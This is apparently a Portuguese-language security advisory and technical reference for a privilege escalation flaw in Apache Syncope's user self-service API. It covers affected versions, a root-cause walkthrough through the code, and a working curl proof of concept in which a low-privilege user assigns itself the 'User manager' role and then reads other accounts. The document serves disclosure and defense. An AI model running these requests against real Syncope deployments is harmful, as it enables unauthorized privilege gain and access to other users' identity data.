
Apache Syncope: escalonamento de privilégios por autoatendimento do usuário
Gerenciamento inadequado de privilégios (CWE-269) no Apache Syncope. Um usuário autenticado e de baixo privilégio pode atribuir a si mesmo papéis arbitrários (e associações a grupos, recursos externos e um novo realm) por meio da API de self-service de usuários — operações que exigem autorizações administrativas em qualquer outro caminho de código — e, dessa forma, tornar-se administrador do armazenamento de identidades.
Este repositório é a referência técnica da vulnerabilidade: causa raiz, uma prova de conceito confirmada em runtime e notas de reprodução. Um relato narrativo de como ela foi encontrada está publicado em separado (veja Relato).
| CVE | CVE-2026-62183 |
| Fornecedor / produto | Apache Software Foundation — Apache Syncope |
| Pacote afetado | org.apache.syncope.core:syncope-core-workflow-java |
| Classe | CWE-269 Gerenciamento inadequado de privilégios (mecanismo: CWE-862 Autorização Ausente) |
| Gravidade | Importante (ASF PMC) · CVSS 3.1 8.8 AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| Afetadas | 3.0.0-M0 → 3.0.16 · 4.0.0-M0 → 4.0.6 · 4.1.0-M0 → 4.1.1 |
| Corrigido em | 4.0.7 / 4.1.2 (SYNCOPE-1983) · 3.0.x está em fim de vida, sem correção |
| Confirmado em | 3.0.16 (distribuição standalone, JDK 17), domínio Master |
O endpoint de atualização de self-service de usuários do Apache Syncope, PATCH /users/self/{key}, exige
apenas isAuthenticated(). A camada de lógica compartilhada omite a verificação de autorização para
operações "self", enquanto o binder de dados ainda aplica campos de requisição privilegiados
(roles, memberships, resources, auxClasses, realm). O resultado é uma
escalada direta de privilégios: um usuário de baixo privilégio atribui a si mesmo um papel privilegiado
e imediatamente obtém suas autorizações — inclusive, com um papel suficientemente poderoso, a administração
completa de todos os usuários. Quando o auto-registro está habilitado, a mesma falha se aplica a
doCreate, portanto um atacante não autenticado pode registrar uma conta já privilegiada.
A vulnerabilidade se aplica quando um dos seguintes adaptadores de workflow de usuário está configurado (é a isto que o comunicado do fornecedor a delimita):
Em produção, o self-service normalmente é conduzido por meio da interface Enduser, que não
expõe a atribuição de papéis; alcançar este cenário exige que a API REST Core possa ser chamada pelo
usuário de baixo privilégio. A PoC em runtime abaixo usa a Distribuição Standalone, que a
Apache documenta como apenas para avaliação e que inclui dados iniciais (o usuário bellini, os
papéis internos User manager / User reviewer) — esses dados iniciais não estão presentes em uma
implantação genérica. Essas são limitações reais de explorabilidade no mundo real, não da
correção da falha.
Fluxo de requisição para PATCH /users/self/{key}:
UserSelfService.update(UserUR) common/.../rest/api/service/UserSelfService.java @PATCH @Path("users/self/{key}")
→ UserSelfLogic.update(...) core/idrepo/logic/.../UserSelfLogic.java
→ AbstractUserLogic.doUpdate(..., self=true)
→ UserDataBinderImpl.update(...) core/provisioning-java/.../data/UserDataBinderImpl.java
1. O endpoint autoriza apenas "alguém está logado?" — UserSelfLogic.update:
@PreAuthorize("isAuthenticated() "
+ "and not(hasRole('" + IdRepoEntitlement.ANONYMOUS + "')) "
+ "and not(hasRole('" + IdRepoEntitlement.MUST_CHANGE_PASSWORD + "'))")
public ProvisioningResult<UserTO> update(final UserUR userUR, final boolean nullPriorityAsync) {
...
ProvisioningResult<UserTO> updated = doUpdate(userUR, true, nullPriorityAsync); // self = true
Nenhuma autorização (sem USER_UPDATE, sem escopo de papel/realm) é exigida.
2. A verificação de autorização é ignorada para operações self — AbstractUserLogic.doUpdate:
protected ProvisioningResult<UserTO> doUpdate(final UserUR userReq, final boolean self, ...) {
...
if (!self) { // self == true: the whole block is skipped
Set<String> authRealms = RealmUtils.getEffective(
AuthContextUtils.getAuthorizations().get(IdRepoEntitlement.USER_UPDATE), ...);
userDAO.securityChecks(authRealms, before.getKey(), before.getRealm(), groups);
}
...
}
3. O binder aplica campos privilegiados independentemente — UserDataBinderImpl.update(...)
aplica ADD/DELETE de papéis, memberships(...) (grupos) e fill(...) (resources / realm)
diretamente da requisição, sem verificação de privilégio do chamador — essa verificação deveria estar
na camada de Lógica que o passo 2 ignora. O caminho administrativo (UserLogic.update,
@PreAuthorize("hasRole('USER_UPDATE')"), doUpdate(..., false, ...)) executa
securityChecks; o caminho self não executa.
O papel escalado entra em vigor na autenticação:
AuthDataAccessor.getUserAuthorities(user) percorre userDAO.findAllRoles(user) e une
as autorizações de cada papel; portanto, o papel auto-atribuído fica ativo na próxima
requisição/login do usuário. A mesma omissão if (!self) está presente em doCreate, estendendo a falha ao
auto-registro.
Em resumo: duas camadas presumiram, cada uma, que a outra aplicava a verificação de privilégio. O endpoint
delegava a autorização à camada de Lógica; a camada de Lógica a ignorava para self; o
binder confiava que a camada de Lógica havia feito a devida filtragem dos campos.
Um usuário autenticado comum, sem papéis, atribui a si mesmo o papel privilegiado interno
User manager (que concede USER_READ sobre /) e então lê uma conta arbitrária. Nenhuma
ação administrativa, nenhuma configuração especial. Script completo: poc.sh.
B=http://localhost:9080/syncope/rest
H='-H X-Syncope-Domain:Master -H Accept:application/json -H Content-Type:application/json'
# (setup, admin) create a plain user with NO roles → returns entity.key = $K2
curl -s -u admin:password $H -X POST "$B/users" -d '{"_class":"org.apache.syncope.common.lib.request.UserCR",
"realm":"/","username":"eviluser2","password":"Password123!","mustChangePassword":false,
"plainAttrs":[{"schema":"fullname","values":["E2"]},{"schema":"surname","values":["Two"]},
{"schema":"userId","values":["[email protected]"]}]}'
AUTH="-u eviluser2:Password123!"
# [1] baseline — eviluser2 cannot read another account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 403
# [2] THE BUG — eviluser2 self-assigns the existing privileged role "User manager":
curl -s $AUTH $H -X PATCH "$B/users/self/$K2" -d '{"_class":"org.apache.syncope.common.lib.request.UserUR",
"key":"'"$K2"'","roles":[{"operation":"ADD_REPLACE","value":"User manager"}]}' \
-w '%{http_code}\n' # -> 200 ; entity.roles=["User manager"]
# [3] escalated — eviluser2 now reads any account:
curl -s $AUTH $H -o /dev/null -w '%{http_code}\n' "$B/users/bellini" # -> 200